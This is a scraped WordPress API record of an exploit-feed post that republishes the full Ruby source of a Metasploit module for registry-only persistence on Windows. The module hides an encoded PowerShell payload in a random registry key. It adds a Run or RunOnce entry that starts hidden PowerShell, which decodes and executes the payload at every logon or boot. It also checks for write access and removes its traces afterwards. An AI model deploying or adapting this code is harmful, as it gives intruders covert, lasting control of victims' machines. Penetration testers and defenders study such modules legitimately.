{"id":23532,"date":"2025-10-27T15:42:39","date_gmt":"2025-10-27T15:42:39","guid":{"rendered":"http:\/\/localhost\/?p=23532"},"modified":"2025-10-27T15:42:39","modified_gmt":"2025-10-27T15:42:39","slug":"windows-registry-only-persistence","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=23532","title":{"rendered":"Windows Registry Only Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-10-27T20:00:30&#8243;,&#8221;description&#8221;:&#8221;This module will install a payload that is executed during boot.           It will be executed either at user logon or system&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-27T18:58:29&#8243;,&#8221;modified&#8221;:&#8221;2025-10-27T18:58:29&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Windows Registry Only Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n  Rank = ExcellentRanking\\n\\n  include Msf::Exploit::Powershell\\n  include Msf::Post::Windows::Registry\\n  include Msf::Post::File\\n  include Msf::Exploit::Local::Persistence\\n  prepend Msf::Exploit::Remote::AutoCheck\\n  include Msf::Exploit::Deprecated\\n  moved_from &#8216;exploits\/windows\/local\/registry_persistence&#8217;\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Windows Registry Only Persistence&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module will install a payload that is executed during boot.\\n          It will be executed either at user logon or system startup via the registry\\n          value in \\&#8221;CurrentVersion\\\\Run\\&#8221; or \\&#8221;RunOnce\\&#8221; (depending on privilege and selected method).\\n          The payload will be installed completely in registry.\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Donny Maasland \\u003cdonny.maasland[at]fox-it.com\\u003e&#8217;, # original module\\n          &#8216;h00die&#8217;,\\n        ],\\n        &#8216;Platform&#8217; =\\u003e [ &#8216;win&#8217; ],\\n        &#8216;SessionTypes&#8217; =\\u003e [ &#8216;meterpreter&#8217;, &#8216;shell&#8217; ],\\n        &#8216;Targets&#8217; =\\u003e [\\n          [ &#8216;Automatic&#8217;, {} ]\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;ATT\\u0026CK&#8217;, Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],\\n          [&#8216;ATT\\u0026CK&#8217;, Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/setupapi\/run-and-runonce-registry-keys&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/pentestlab.blog\/2019\/10\/01\/persistence-registry-run-keys\/&#8217;]\\n        ],\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2015-07-01&#8217;,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Reliability&#8217; =\\u003e [EVENT_DEPENDENT, REPEATABLE_SESSION],\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;SideEffects&#8217; =\\u003e [CONFIG_CHANGES, IOC_IN_LOGS]\\n        }\\n      )\\n    )\\n\\n    register_options([\\n      OptEnum.new(&#8216;STARTUP&#8217;,\\n                  [true, &#8216;Startup type for the persistent payload.&#8217;, &#8216;USER&#8217;, [&#8216;USER&#8217;, &#8216;SYSTEM&#8217;]]),\\n      OptString.new(&#8216;BLOB_REG_KEY&#8217;,\\n                    [false, &#8216;The registry key to use for storing the payload blob. (Default: random)&#8217; ]),\\n      OptString.new(&#8216;BLOB_REG_NAME&#8217;,\\n                    [false, &#8216;The name to use for storing the payload blob. (Default: random)&#8217; ]),\\n      OptString.new(&#8216;RUN_NAME&#8217;,\\n                    [false, &#8216;The name to use for the \\\\&#8217;Run\\\\&#8217; key. (Default: random)&#8217; ]),\\n      OptInt.new(&#8216;SLEEP_TIME&#8217;,\\n                 [false, &#8216;Amount of time to sleep (in seconds) before executing payload. (Default: 0)&#8217;, 0]),\\n      OptEnum.new(&#8216;REG_KEY&#8217;, [true, &#8216;Registry Key To Install To&#8217;, &#8216;Run&#8217;, %w[Run RunOnce]]),\\n    ])\\n  end\\n\\n  def generate_payload_blob\\n    opts = {\\n      wrap_double_quotes: true,\\n      encode_final_payload: true\\n    }\\n    cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts).split(&#8216; &#8216;)[-1]\\n  end\\n\\n  def generate_cmd(root_path, blob_key_name, blob_key_reg)\\n    \\&#8221;%COMSPEC% \/b \/c start \/b \/min powershell -nop -w hidden -c \\\\\\&#8221;sleep #{datastore[&#8216;SLEEP_TIME&#8217;]}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item &#8216;#{root_path}:#{blob_key_name}&#8217;).GetValue(&#8216;#{blob_key_reg}&#8217;))))\\\\\\&#8221;\\&#8221;\\n  end\\n\\n  def generate_blob_reg\\n    blob_reg_key = datastore[&#8216;BLOB_REG_KEY&#8217;] || \\&#8221;Software\\\\\\\\#{Rex::Text.rand_text_alphanumeric(8)}\\&#8221;\\n    blob_reg_name = datastore[&#8216;BLOB_REG_NAME&#8217;] || Rex::Text.rand_text_alphanumeric(8)\\n    return blob_reg_key, blob_reg_name\\n  end\\n\\n  def generate_cmd_reg\\n    datastore[&#8216;RUN_NAME&#8217;] || Rex::Text.rand_text_alphanumeric(8)\\n  end\\n\\n  def install_blob(root_path, blob, blob_reg_key, blob_reg_name)\\n    blob_reg_key = \\&#8221;#{root_path}\\\\\\\\#{blob_reg_key}\\&#8221;\\n    new_key = false\\n    if !registry_enumkeys(blob_reg_key)\\n      unless registry_createkey(blob_reg_key)\\n        fail_with(Failure::Unknown, \\&#8221;Failed to create key #{blob_reg_key}\\&#8221;)\\n      end\\n      print_good(\\&#8221;Created registry key #{blob_reg_key}\\&#8221;)\\n      new_key = true\\n    end\\n\\n    unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, &#8216;REG_SZ&#8217;)\\n      fail_with(Failure::Unknown, &#8216;Failed to open the registry key for writing&#8217;)\\n    end\\n    print_good(\\&#8221;Installed payload blob to #{blob_reg_key}\\\\\\\\#{blob_reg_name}\\&#8221;)\\n    return new_key\\n  end\\n\\n  def regkey\\n    datastore[&#8216;REG_KEY&#8217;]\\n  end\\n\\n  def install_cmd(cmd, cmd_reg, root_path)\\n    unless registry_setvaldata(\\&#8221;#{root_path}\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\#{regkey}\\&#8221;, cmd_reg, cmd, &#8216;REG_EXPAND_SZ&#8217;)\\n      fail_with(Failure::Unknown, &#8216;Could not install run key&#8217;)\\n    end\\n    print_good(\\&#8221;Installed run key #{root_path}\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\#{regkey}\\\\\\\\#{cmd_reg}\\&#8221;)\\n  end\\n\\n  def get_root_path\\n    return &#8216;HKCU&#8217; if datastore[&#8216;STARTUP&#8217;] == &#8216;USER&#8217;\\n\\n    &#8216;HKLM&#8217;\\n  end\\n\\n  def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)\\n    @clean_up_rc \\u003c\\u003c \\&#8221;reg deleteval -k &#8216;#{root_path}\\\\\\\\#{blob_reg_key}&#8217; -v &#8216;#{blob_reg_name}&#8217;\\\\n\\&#8221;\\n    if new_key\\n      @clean_up_rc \\u003c\\u003c \\&#8221;reg deletekey -k &#8216;#{root_path}\\\\\\\\#{blob_reg_key}&#8217;\\\\n\\&#8221;\\n    end\\n    @clean_up_rc \\u003c\\u003c \\&#8221;reg deleteval -k &#8216;#{root_path}\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\#{regkey}&#8217; -v &#8216;#{cmd_reg}&#8217;\\\\n\\&#8221;\\n  end\\n\\n  def check\\n    return Msf::Exploit::CheckCode::Safe(&#8216;System does not have powershell&#8217;) unless registry_enumkeys(&#8216;HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\&#8217;).include?(&#8216;PowerShell&#8217;)\\n\\n    vprint_good(&#8216;Powershell detected on system&#8217;)\\n\\n    # test write to see if we have access\\n    root_path = get_root_path\\n    rand = Rex::Text.rand_text_alphanumeric(15)\\n\\n    vprint_status(\\&#8221;Checking registry write access to: #{root_path}\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\#{regkey}\\\\\\\\#{rand}\\&#8221;)\\n    return Msf::Exploit::CheckCode::Safe(\\&#8221;Unable to write to registry path #{root_path}\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\#{regkey}\\&#8221;) if registry_createkey(\\&#8221;#{root_path}\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\#{rand}\\&#8221;).nil?\\n\\n    registry_deletekey(\\&#8221;#{root_path}\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\#{regkey}\\\\\\\\#{rand}\\&#8221;)\\n\\n    Msf::Exploit::CheckCode::Vulnerable(&#8216;Registry writable&#8217;)\\n  end\\n\\n  def install_persistence\\n    print_status(&#8216;Generating payload blob..&#8217;)\\n    blob = generate_payload_blob\\n    print_good(\\&#8221;Generated payload, #{blob.length} bytes\\&#8221;)\\n\\n    root_path = get_root_path\\n    print_status(\\&#8221;Root path is #{root_path}\\&#8221;)\\n\\n    blob_reg_key, blob_reg_name = generate_blob_reg\\n    cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)\\n    cmd_reg = generate_cmd_reg\\n\\n    print_status(&#8216;Installing payload blob..&#8217;)\\n    new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)\\n\\n    print_status(&#8216;Installing run key&#8217;)\\n    install_cmd(cmd, cmd_reg, root_path)\\n\\n    create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/windows\/persistence\/registry.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/windows\/persistence\/registry\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-10-27T20:00:30&#8243;,&#8221;description&#8221;:&#8221;This module will install a payload that is executed during boot. It will be executed either at user logon or system&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-27T18:58:29&#8243;,&#8221;modified&#8221;:&#8221;2025-10-27T18:58:29&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Windows Registry Only Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-23532","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Windows Registry Only Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=23532\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Windows Registry Only Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-10-27T20:00:30&#8243;,&#8221;description&#8221;:&#8221;This module will install a payload that is executed during boot. It will be executed either at user logon or system&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-27T18:58:29&#8243;,&#8221;modified&#8221;:&#8221;2025-10-27T18:58:29&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Windows Registry Only Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##n# This...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=23532\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-10-27T15:42:39+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=23532#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=23532\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Windows Registry Only Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY-\",\"datePublished\":\"2025-10-27T15:42:39+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=23532\"},\"wordCount\":1205,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=23532#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=23532\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=23532\",\"name\":\"Windows Registry Only Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-10-27T15:42:39+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=23532#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=23532\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=23532#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Windows Registry Only Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Windows Registry Only Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=23532","og_locale":"en_US","og_type":"article","og_title":"Windows Registry Only Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-10-27T20:00:30&#8243;,&#8221;description&#8221;:&#8221;This module will install a payload that is executed during boot. It will be executed either at user logon or system&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-27T18:58:29&#8243;,&#8221;modified&#8221;:&#8221;2025-10-27T18:58:29&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Windows Registry Only Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##n# This...","og_url":"https:\/\/zero.redgem.net\/?p=23532","og_site_name":"zero redgem","article_published_time":"2025-10-27T15:42:39+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=23532#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=23532"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Windows Registry Only Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY-","datePublished":"2025-10-27T15:42:39+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=23532"},"wordCount":1205,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=23532#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=23532","url":"https:\/\/zero.redgem.net\/?p=23532","name":"Windows Registry Only Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-10-27T15:42:39+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=23532#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=23532"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=23532#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Windows Registry Only Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/23532","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=23532"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/23532\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=23532"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=23532"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=23532"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}